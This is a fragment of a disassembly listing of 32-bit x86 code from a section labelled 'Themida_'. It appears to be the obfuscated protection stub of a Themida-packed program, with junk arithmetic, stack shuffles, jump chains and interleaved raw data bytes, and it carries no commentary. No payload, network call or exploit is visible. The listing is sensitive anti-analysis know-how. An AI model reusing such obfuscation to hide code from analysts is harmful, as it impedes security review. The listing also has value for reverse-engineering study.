		dd 73B62414h, 8034EB80h, 0F32808EBh, 8008C380h,	0C1E934C3h
		dd 1000076h, 0F3315AD6h, 8324348Bh, 0E95604C4h,	1E78h
; ---------------------------------------------------------------------------


loc_552A54:				; CODE XREF: Themida_:0055ECAAj
		add	edi, 8F5E87AAh
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		shr	esi, 1
		sub	esi, 22C4646Eh
		add	esi, 0DFFC5B9Fh
		mov	ecx, esi
		mov	esi, [esp]
		jmp	loc_560FCA
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 0C60E3704h, 0F22BE914h, 59540000h, 4C181h, 0F8E90000h
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_552A97:				; CODE XREF: Themida_:0055B692j
		neg	ebp
		not	ebp
		inc	ebp
		jmp	loc_564C40
; ---------------------------------------------------------------------------


loc_552AA1:				; CODE XREF: Themida_:00559D59j
		push	73110C04h
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_564D41
; ---------------------------------------------------------------------------
		dd 2414895Ch, 50664DB6h, 88F78853h, 0CCFE5BFCh,	5866E688h
		dd 0C1685366h, 89000020h, 8CE92404h, 87000049h,	56E92404h
		dd 89000112h, 0D2BB241Ch, 31F83D81h, 0F8015BDFh, 4055Fh
		dd 4870000h, 0C5815C24h, 4, 1283AE9h
		db 0
; ---------------------------------------------------------------------------


loc_552B0D:				; CODE XREF: Themida_:0055507Fj
		and	ebx, 7C630F0Bh
		xor	ebx, 5E8B54D1h
		not	ebx
		inc	ebx
		jmp	loc_55BA1F
; ---------------------------------------------------------------------------
		db 50h,	31h, 3Ch
		dd 243C3324h, 0E9243C31h, 125CEh, 0ACC78147h, 31344ACFh
		dd 0E8315FFDh, 0CE9505Dh, 510000E8h, 5114268h, 0E9815932h
		dd 0F3F7B9DDh, 23E9CD89h, 8100005Dh, 4C4h, 0DC8CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B62:				; CODE XREF: Themida_:0055D57Fj
		push	edx
		mov	edx, 0
		jmp	loc_55C988
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 7Bh
		dd 816EC40Ch, 746CACC2h, 6F1E933h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552B7E:				; CODE XREF: Themida_:00558247j
		pop	ecx
		sub	ecx, 202EE9h
		sub	ecx, eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 153C043Ah
		add	edi, 626A4133h
		jmp	loc_561F9B
; ---------------------------------------------------------------------------
aWs		db 'W-',0
		align 2
		dw 0C483h
		dd 0F028E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BAE:				; CODE XREF: Themida_:00555348j
		push	ebx
		mov	ebx, 7ABF3833h
		add	ecx, ebx
		pop	ebx
		inc	ecx
		push	3240h
		mov	[esp], esi
		mov	esi, 8B3139Ch
		jmp	loc_55F6D9
; ---------------------------------------------------------------------------


loc_552BCA:				; CODE XREF: Themida_:0055FD6Cj
		or	eax, 6F7D6024h
		sub	eax, 45667A3h
		xor	eax, 6FA88FE5h
		sub	esi, eax
		pop	eax
		add	edx, 6F107CC3h
		add	edx, esi
		sub	edx, 6F107CC3h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_551141
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4EC8124h, 89000000h,	0E6892434h, 2192BF57h, 0D7F723E8h
		dd 2197C781h, 0FE0123E8h, 4C6835Fh, 0D168E9h, 21E95D00h
		dd 89000122h, 0B652240Ch, 4E6C080h, 8827F680h, 0CB885AF1h
		dd 81240C8Bh, 4C4h, 0B6526600h,	0E9F30001h, 11642h, 2EE9C8FEh
		dd 580000CCh, 719CEA81h, 0C201238Bh, 8904EC83h,	7DB9240Ch
		dd 837BD144h, 0C98101C1h, 43C36DE8h, 6F2DE9h, 24048100h
		dd 4, 0EDF8E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552C86:				; CODE XREF: Themida_:0055233Ej
		push	ebx
		mov	ebx, 44E05F6Eh
		add	ebx, 383F0DD9h
		push	eax
		mov	eax, 7D1F6D43h
		xor	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_55DB8A
; ---------------------------------------------------------------------------
		dw 2468h
		dd 8900005Fh, 0E6892434h, 4C681h, 0EC810000h, 4, 0E9243C89h
		dd 9CE9h, 34E9E189h, 89000122h,	0EC81241Ch, 4, 0E9242C89h
		dd 0FFFFF0E5h, 4EC81h, 4890000h, 0E9E08924h, 9240h
; ---------------------------------------------------------------------------


loc_552CE8:				; CODE XREF: Themida_:0055B453j
		dec	dword ptr [esp]
		pop	edx
		not	edx
		xor	edx, 6054A7C2h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	7917h
		mov	[esp], edx
		mov	edx, 6AD93ECBh
		jmp	loc_55F2CD
; ---------------------------------------------------------------------------


loc_552D0E:				; CODE XREF: Themida_:0055674Aj
		mov	[esp], esi
		jmp	loc_5644A1
; ---------------------------------------------------------------------------


loc_552D16:				; CODE XREF: Themida_:0055FD79j
		or	ebp, 520476C4h
		push	ebx
		push	esi
		mov	esi, 0C9A2A04Eh
		mov	ebx, esi
		pop	esi
		jmp	loc_558253
; ---------------------------------------------------------------------------
		db 4Bh
		dd 4B08E3C1h, 3CF1F381h, 0E3810DE6h, 1BDB0CCCh,	0CC93F381h
		dd 38E9A785h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552D47:				; CODE XREF: Themida_:005531FBj
		mov	ecx, 0B278E1B6h
		add	ecx, 1A286DA4h
		add	ecx, ebx
		sub	ecx, 1A286DA4h
		pop	ebx
		add	edi, 552D18A4h
		add	edi, ecx
		sub	edi, 552D18A4h
		pop	ecx
		mov	eax, edi
		pop	edi
		mov	ecx, eax
		push	dword ptr [esp]
		jmp	loc_559514
; ---------------------------------------------------------------------------


loc_552D77:				; CODE XREF: Themida_:00555B72j
		push	ebp
		pop	edi
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_552D8B:				; CODE XREF: Themida_:loc_55194Aj
					; Themida_:0055D93Fj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		push	1B69h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55A10A
; ---------------------------------------------------------------------------


loc_552DAD:				; CODE XREF: Themida_:00555442j
		add	esp, 4
		push	5263h
		mov	[esp], ecx
		push	eax
		push	esp
		jmp	loc_551092
; ---------------------------------------------------------------------------
		db 50h
		dd 4D1A16B8h, 51B8504Fh, 0E96CEC6Eh, 665Dh, 0FE31F731h
		dd 7AE7CE81h, 875627B8h, 0D7F7243Ch, 0E9243C31h, 0B709h
		dd 0FA87D7F7h, 32C2E9h,	24048F00h, 242C895Ch, 5652E589h
		dd 3D6DABBEh, 6E89E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E06:				; CODE XREF: Themida_:0055F759j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_554466
; ---------------------------------------------------------------------------


loc_552E16:				; CODE XREF: Themida_:00559BDFj
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55AFDE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E6892434h, 2ED8E9h, 4C48100h, 68000000h
		dd 66A6h, 0B6241489h, 396866ADh, 4896660h, 4723E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E5E:				; CODE XREF: Themida_:00562AE9j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_552488
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLH		db '$$h',0Dh,'%',0
		align 4
		dd 53240489h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 0FD682424h
		dd 89000000h, 4BF243Ch,	0E9000000h, 0AF9Ah, 4EC81h, 24890000h
		dd 24048324h, 2434FF04h, 5511E9h, 0E9C83100h, 0FFFFFC69h
		dd 240C8B66h, 23BB68h, 24348900h, 0C681E689h, 4, 0B0BEE9h
		dd 68575B00h, 0FF7F9FF3h, 8BF8015Fh, 0C483243Ch, 0FFC20104h
		dd 48B2434h, 4C48324h, 4C481h, 0BE560000h, 6A7A1903h, 27E9D6F7h
		dd 890000F2h, 0FEE95FF8h, 0B4000061h, 96C4803Bh, 0FE82E480h
		dd 0E6F480C4h, 0C480C4FEh, 0C8B75350h, 0B9E9F928h, 0BB00001Dh
		dd 0
		dd 7474C381h, 0B8504A9Ah, 43BA49DCh, 90E9C329h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552F3B:				; CODE XREF: Themida_:00563D99j
		sub	ebx, ecx
		pop	ecx
		sub	edi, ebx
		jmp	loc_559BE4
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 44010000h, 91E90424h, 1000092h, 1BC581C5h, 0FF4D6736h
		dd 83582434h, 0B85004C4h, 1FF3718h, 0BAE9D8F7h,	0FF000074h
		dd 77E92C77h, 89FFFFD8h, 0C388241Ch, 0BA52h, 0EA810000h
		dd 8FA70E0h, 0C281CA01h, 8FA70E0h, 148B1A88h, 4C48124h
		dd 0E9000000h, 0E53Ch
; ---------------------------------------------------------------------------


loc_552FA0:				; CODE XREF: Themida_:00554998j
		add	ebx, edx
		jmp	loc_55F84D
; ---------------------------------------------------------------------------
aRh		db 'Rh#&',0
		dd 1E11E900h, 0B8500001h, 6356776Ch, 0D255E9h, 0F9E95C00h
		dd 8B000013h, 89512404h, 0F65DE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552FCE:				; CODE XREF: Themida_:0055B0BEj
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_555365
; ---------------------------------------------------------------------------
		db 68h
		dd 1E89h, 0FF241C89h, 5B042474h, 0CA26E9h, 0F8885000h
		dd 5058C588h, 0E288EC88h, 0D0885958h, 0E92434FFh, 0FFFFF58Dh
		dd 0F91CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55300A:				; CODE XREF: Themida_:0055951Bj
		and	eax, ecx
		jmp	loc_563DAE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E789243Ch, 1031BE9h, 24348900h, 62E268h
		dd 24248900h, 49B668h, 24348900h, 4BEh,	0EA1FE900h, 0C890000h
		dd 0DD44E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553046:				; CODE XREF: Themida_:00554A94j
		add	ecx, 50639B3h
		add	ecx, edx
		sub	ecx, 50639B3h
		jmp	loc_5534F3
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 1668E589h, 8900001Bh, 4B9240Ch, 1000000h, 0C58159CDh
		dd 4, 8B242C87h, 0EC812424h, 4,	0FF241C89h, 0E9042474h
		dd 1AC0h, 0ED3E0EB9h, 7A34E91Fh, 0D8010000h, 2DD0015Bh
		dd 0A983DDAh, 8B3AE9h, 0DAE95B00h, 80000050h, 0C300A5EBh
		dd 1A1EE9h, 0B9515000h,	1AF7CC4h, 0C8BC889h, 4C48124h
		dd 1000000h, 0C28158C2h, 7DCBF00Bh, 0FFF051E9h,	242C31FFh
		dd 81D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5530DD:				; CODE XREF: Themida_:00557E10j
		and	ecx, edi
		jmp	loc_5608BC
; ---------------------------------------------------------------------------
		dd 2434FF54h, 4C4835Fh,	2C22E9h, 0B7573500h, 0D8E9BA2Bh
		dd 0F7000093h, 511EE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553102:				; CODE XREF: Themida_:005640FDj
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56543B
; ---------------------------------------------------------------------------


loc_553118:				; CODE XREF: Themida_:00552347j
		xchg	esi, [esp]
		pop	esp
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_56071C
; ---------------------------------------------------------------------------
aTsf		db 'T%',0
		dw 6800h
		dd 14D3h, 0BF243C89h, 4CAC1E48h, 1C781h, 0DFF70000h, 0E904EC83h
		dd 1526h
; ---------------------------------------------------------------------------


loc_553154:				; CODE XREF: Themida_:00556A0Fj
		add	ebp, 8CC198Dh
		sub	ebp, ebx
		sub	ebp, 8CC198Dh
		pop	ebx
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ecx, 1F4A1C3Bh
		sub	ecx, 0DD4BDDD8h
		jmp	loc_551597
; ---------------------------------------------------------------------------
		db 29h
		dd 0FF1FE9DDh, 5559FFFFh, 0A1686EBDh, 0A778E935h, 0E0890000h
		dd 405h, 42D00h, 0EBE90000h, 0BE000094h, 3CAC4176h, 3FE340BFh
		dd 0F4F4E9AEh, 28B8FFFFh, 0E9585034h, 0A893h
; ---------------------------------------------------------------------------


loc_5531BC:				; CODE XREF: Themida_:0055FD41j
		xor	ecx, 3C37F3Ah
		and	edi, ecx
		pop	ecx
		neg	edi
		push	ecx
		mov	ecx, 5D8F216Ah
		sub	ecx, 55AA17D9h
		push	eax
		mov	eax, 673636Ch
		xor	ecx, eax
		pop	eax
		or	edi, ecx
		pop	ecx
		push	edi
		dec	dword ptr [esp]
		pop	edi
		push	5797h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	4DC71E4Ch
		pop	ebx
		jmp	loc_552D47
; ---------------------------------------------------------------------------


loc_553200:				; CODE XREF: Themida_:00563D0Dj
		xor	al, cl
		pop	ecx
		jmp	loc_55B150
; ---------------------------------------------------------------------------
		dd 1903EB81h, 0F74BB9B7h, 1CEB81D3h, 2977B6A2h,	0EE3BE9D8h
		dd 14870000h, 243C8B24h, 4C481h, 0FE870000h, 0AFCE9h, 58E50000h
		dd 7BE9E830h, 0FF00006Fh, 669D1C77h, 24041058h,	0D5A4E99Ch
		dd 4BFFFFFh, 1000000h, 14875FFAh, 0ECE95C24h, 68000071h
		dd 60453A99h, 0B156E9h,	66AD6600h, 888DE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55326E:				; CODE XREF: Themida_:0055845Ej
		xor	[esp+4], ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55E2A5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C1h, 4C18300h, 5C240C87h, 48BC701h, 4C48324h
		dd 8904EC83h, 74FF243Ch, 8F5F0424h, 248B2404h, 48B6624h
		dd 4EC8124h, 89000000h,	5453240Ch, 9CD0E9h, 9C516600h
		dd 10FC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5532C5:				; CODE XREF: Themida_:0055F43Cj
		shr	ebx, 3
		not	ebx
		jmp	loc_5534B5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 70C92DF5h, 4E80E981h, 0F1015424h, 4E80C181h,	99E95424h
		dd 8900007Dh, 5D54242Ch, 7DDBB951h, 0C18105BAh,	1255619Ah
		dd 4C94E981h, 0E18141ABh, 18C64D29h, 124E68h, 24048900h
		dd 44001DB8h, 700DE910h, 0DF010000h, 459DE95Bh,	8B570000h
		dd 0EC81241Ch, 4, 89241489h, 0AA31E9E2h, 83680000h, 89000013h
		dd 60E9242Ch
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55333F:				; CODE XREF: Themida_:005553C9j
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		sub	esp, 4
		jmp	loc_555E75
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24343304h, 33243431h, 248B2434h, 4EC8124h, 89000000h
		dd 0A5E9241Ch, 810000B9h, 0D92D42F1h, 59CA313Bh, 0A45DE9h
		dd 502D4000h, 8314B539h, 0BA5201E8h, 1D96C40h, 0E95AD001h
		dd 81E4h, 376CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533B2:				; CODE XREF: Themida_:00553531j
		pop	esp
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		sub	dword ptr [esp], 9EB6B35h
		pop	ecx
		add	ecx, 9EB6B35h
		push	34D8h
		mov	[esp], ecx
		jmp	loc_556A95
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 25293324h, 0C2815A7Ah, 7A252933h, 1C28159h, 0F7000000h
		dd 2C3E9D2h, 0E6BB0000h, 81128A4Bh, 155F15C3h, 39C3813Eh
		dd 1B429CEh, 0EA815BDAh, 1, 0F9CDEA81h,	49E90302h, 0F7000037h
		dd 0E15D05D0h, 0CFE9C9D3h, 0C100005Eh, 0EA8108EAh, 0CAF3DF9Bh
		dd 0E95AD789h, 1847h
; ---------------------------------------------------------------------------


loc_55343C:				; CODE XREF: Themida_:0055B26Cj
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4


loc_553446:				; CODE XREF: Themida_:0056087Cj
		push	3DA5h
		mov	[esp], ebx
		push	1B9Fh
		jmp	loc_563A2A
; ---------------------------------------------------------------------------
		dd 0C680CEFEh, 0C6A3E992h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553462:				; CODE XREF: Themida_:0055883Fj
		add	ebp, ebx
		jmp	loc_558DED
; ---------------------------------------------------------------------------
aSxg		db '^Xg',0
		dw 500h
		dd 4, 405h, 0E20BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55347E:				; CODE XREF: Themida_:0056395Dj
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_55B439
; ---------------------------------------------------------------------------


loc_553488:				; CODE XREF: Themida_:0055F40Cj
		xchg	esi, [esp]
		jmp	loc_550FCF
; ---------------------------------------------------------------------------


loc_553490:				; CODE XREF: Themida_:00560C8Aj
		pop	ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	3E09h
		jmp	loc_564E85
; ---------------------------------------------------------------------------
		dd 0E9241C29h, 0D118h
; ---------------------------------------------------------------------------


loc_5534A8:				; CODE XREF: Themida_:00561FA1j
		sub	edi, 7F8E3104h
		add	ecx, edi
		jmp	loc_555868
; ---------------------------------------------------------------------------


loc_5534B5:				; CODE XREF: Themida_:005532CAj
		not	ebx
		shl	ebx, 4
		add	ebx, 2BD88D5Fh
		xor	edx, ebx
		jmp	loc_5569F5
; ---------------------------------------------------------------------------
aAa4sk		db '4k^',0
		dw 0BA00h
		dd 4, 16AEBF57h, 0FB296C72h, 55D3015Fh,	143359BDh, 3E5C117h
		dd 6B66ED81h, 0B5E97103h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534F3:				; CODE XREF: Themida_:00553054j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55AD00
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0E904EC83h, 1201Eh, 0D371EEBEh, 0D2E6816Eh, 0E9034178h
		dd 0FFFFDA68h
; ---------------------------------------------------------------------------


loc_553518:				; CODE XREF: Themida_:00560B54j
		mov	[esp], ecx
		mov	ecx, 41BB728Ah
		sub	ebx, ecx
		jmp	loc_5525D5
; ---------------------------------------------------------------------------
aVsk		db 'k\',0
		align 2


loc_55352E:				; CODE XREF: Themida_:00563817j
		xchg	ebp, [esp]
		jmp	loc_5533B2
; ---------------------------------------------------------------------------


loc_553536:				; CODE XREF: Themida_:00560F60j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_557129
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 25354AF6h, 4034E936h, 0DBF70000h, 8143DBF7h,	3E6303F3h
		dd 0F63AE9BBh, 0E95BFFFFh, 4C29h, 0E956FB01h, 4310h, 31896857h
		dd 2C890000h, 9DBBD24h,	81554E9Dh, 1DB82434h, 815F6082h
		dd 821DB8F7h, 57535D60h, 17FCBBFh, 5FFB896Ah, 0E95BDD29h
		dd 9F57h, 0E9240C89h, 0FFFFD242h, 4C6815Eh, 0E9000000h
		dd 75CCh
; ---------------------------------------------------------------------------


loc_5535B8:				; CODE XREF: Themida_:0055E153j
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	[esp+4], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		pop	eax
		push	ebp
		mov	ebp, 68700FE1h
		xor	eax, ebp
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 66h
		dd 0C2816659h, 31664F4Ah, 81665AD1h, 66E3D7C1h,	6659CB01h
		dd 13A8EB81h, 52C30166h, 474CBA66h, 0A62BE9h, 3C8B5400h
		dd 4C48324h, 4D3CE956h,	23BE0000h, 0BA39A277h, 6A8BBEFBh
		dd 0CD98E9h, 27C28100h,	2930E857h, 27EA81EAh, 5D30E857h
		dd 0C281C229h, 5EC65E4h, 44F768h, 241C8900h, 931ABFBBh
		dd 0CB81437Ah, 2A961CD4h, 5E2EB81h, 0DA010ABAh,	0B951555Bh
		dd 73EE5FDBh, 0FFE4E8E9h, 56EB01FFh, 764EBA52h,	0F2811B84h
		dd 56D005DDh, 0F2E9D689h, 5200000Dh, 1E1E9h, 62F18000h
		dd 0A9E9CF88h, 660000B6h, 1C8BD829h, 4C48324h, 0F319E9h
		dd 5A5F5200h, 4B0EE9h, 5AD52900h, 1C7C581h, 0C1E91CA1h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5536B3:				; CODE XREF: Themida_:00560929j
		not	ch
		sub	ch, 0A0h
		jmp	loc_5636BB
; ---------------------------------------------------------------------------
		db 53h,	50h, 0B8h
		dd 4F722867h, 588E3548h, 0C3893BF4h, 56E3D158h,	2F1FBD55h
		dd 0EE892943h, 8867E9h,	5FF82900h, 4EC8140h, 89000000h
		dd 78BA2414h, 29C5E0B3h, 0C3895AD0h, 0CCCB8158h, 8108B77Ah
		dd 2283DF3h, 99E94B7Eh,	5100006Fh, 0CE3951B9h, 17A2E903h
		dd 82680001h, 89000004h, 0E953242Ch, 4C68h
; ---------------------------------------------------------------------------


loc_553720:				; CODE XREF: Themida_:0055521Bj
		sub	edx, 22381DBCh
		shr	edx, 1
		jmp	loc_55187D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 1C8904ECh, 0D1F0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55373E:				; CODE XREF: Themida_:00561B5Ej
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55BDAD
; ---------------------------------------------------------------------------
		db 58h
		dd 2474FF55h, 242C8B04h, 4C481h, 0F3E90000h, 100008Fh
		dd 4EC81F0h, 0E9000000h, 9CC7h,	35E988B5h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553777:				; CODE XREF: Themida_:00557A9Dj
		add	ebp, 4
		jmp	loc_550FF0
; ---------------------------------------------------------------------------


loc_55377F:				; CODE XREF: Themida_:0055E8F0j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_552668
; ---------------------------------------------------------------------------


loc_55379A:				; CODE XREF: Themida_:005547B2j
		pop	ebx
		sub	al, 0Ah
		add	al, bl
		add	al, 0Ah
		sub	al, 9Ch
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	2E7Dh
		mov	[esp], esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	ecx, esi
		jmp	loc_564570
; ---------------------------------------------------------------------------
		dw 55Fh
		dd 671A3716h, 0BE56D029h, 671A3716h, 8B5EF029h,	0A1682414h
		dd 8900006Bh, 0E589242Ch, 4EC81h, 0D2E90000h, 81000022h
		dd 0C762C7EDh, 20E95930h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5537F7:				; CODE XREF: Themida_:005603F8j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	7F15h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		jmp	loc_55FFBA
; ---------------------------------------------------------------------------


loc_55381F:				; CODE XREF: Themida_:00557BA6j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5551DC
; ---------------------------------------------------------------------------
aHeh		db '\hh',0
		align 2
		dw 3C89h
		dd 0F8F7E924h, 0C8BFFFFh, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 8B24048Fh, 93E92424h, 81FFFFCFh, 4C6h
		dd 4F98E900h, 50550000h, 4B8h, 58C58900h, 295DEA89h, 496DE9D7h
		dd 0BE680000h, 89000067h, 28B9240Ch, 0E9460C6Ch, 0FFFFDFD5h
		dd 243C895Ch, 0FFFD78E9h, 8CC381FFh, 2DA674DEh,	51026256h
		dd 0B951D829h, 2DAA6A88h, 4277F181h, 47E96F65h,	58FFFFE0h
		dd 4244481h, 797C2102h,	4245429h, 0FA49E9h
		db 0
; ---------------------------------------------------------------------------


loc_5538C5:				; CODE XREF: Themida_:00563ADBj
		sub	edi, eax
		pop	eax
		jmp	loc_5553AA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5A000000h, 0E905EFC1h, 0FFFFDEE8h
; ---------------------------------------------------------------------------


loc_5538DC:				; CODE XREF: Themida_:005593D0j
		push	ecx
		push	21597484h
		pop	ecx
		and	ecx, 484462C4h
		jmp	loc_559D92
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0A9C1E9h, 0B8CF8100h, 0C17E163Fh, 0F78702E7h, 0F787D6F7h
		dd 182ABA52h, 0EA8173C1h, 3E27F5E0h, 0F6E9D721h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553917:				; CODE XREF: Themida_:00562581j
		mov	bl, al
		jmp	loc_55B46D
; ---------------------------------------------------------------------------


loc_55391E:				; CODE XREF: Themida_:0055AF8Aj
		push	5D5Bh
		mov	[esp], ebx
		push	edx
		push	380945A2h
		pop	edx
		jmp	loc_562E2F
; ---------------------------------------------------------------------------


loc_553932:				; CODE XREF: Themida_:0055D792j
		mov	[esp], ecx
		mov	ecx, 66E21756h
		inc	ecx
		jmp	loc_55F360
; ---------------------------------------------------------------------------
		dd 7BE9D001h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553947:				; CODE XREF: Themida_:0055FD22j
		neg	ebp
		dec	ebp
		sub	ebp, 254E7453h
		add	ebp, 0F99FA74Fh
		or	edx, ebp
		jmp	loc_5605EB
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1
		dd 81000000h, 9E5596F7h, 0E617E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55396E:				; CODE XREF: Themida_:005563E5j
		add	bl, al
		jmp	loc_55D397
; ---------------------------------------------------------------------------


loc_553975:				; CODE XREF: Themida_:005603A8j
		add	esp, 4
		jmp	loc_561551
; ---------------------------------------------------------------------------
		db 1, 0C1h, 0E9h
		dd 0CE65h, 99E68h, 24248900h, 4240483h,	5F2434FFh, 5104C483h
		dd 4B9h, 57C78100h, 0E92AE465h,	3983h, 68535153h, 31C5464Dh
		dd 81DBF75Bh, 963434EBh, 34ECE946h, 0C1810000h,	4, 4C181h
		dd 0C870000h, 30045C24h, 0D828A82Ch, 302CA804h,	8352D204h
		dd 0AE904ECh, 810000DDh, 4C7h, 4BB5300h, 29000000h, 3C875BDFh
		dd 34895C24h, 0DA25E924h, 0C181FFFFh, 13F51AF5h, 548AE981h
		dd 48B4E73h, 4C48324h, 31240C33h, 0C33240Ch, 24248B24h
		dd 9C240428h, 0FFD6FEE9h, 35BE66FFh, 0EE81667Ch, 8166349Ch
		dd 661889C6h, 0D8D2C681h, 109B9E9h, 2CD8F600h, 0B1C6E90Eh
		dd 815B0000h, 4ECh, 234FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A52:				; CODE XREF: Themida_:0055BC23j
		add	ebp, 4
		push	ebp
		jmp	loc_55905B
; ---------------------------------------------------------------------------


loc_553A5E:				; CODE XREF: Themida_:00559830j
		push	ebp
		mov	ebp, 6B724A4Fh
		mov	ebx, 948DB5B0h
		xor	ebx, ebp
		pop	ebp
		sub	[edi+24h], ebx
		jmp	loc_5590B3
; ---------------------------------------------------------------------------


loc_553A74:				; CODE XREF: Themida_:00560601j
		mov	ecx, esp
		jmp	loc_558EF7
; ---------------------------------------------------------------------------
		db 81h
		dd 0C01DF0E9h, 0FFC38103h, 816AEB20h, 720D67EBh, 81CB296Fh
		dd 720D67C3h, 8CBE96Fh,	0FEBA0000h, 0C154D92Eh,	0EAC104EAh
		dd 0C40DE905h, 0D3880000h, 5BDA285Ah, 5166CAFEh, 27BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_553AB9:				; CODE XREF: Themida_:00554A47j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_5611A9
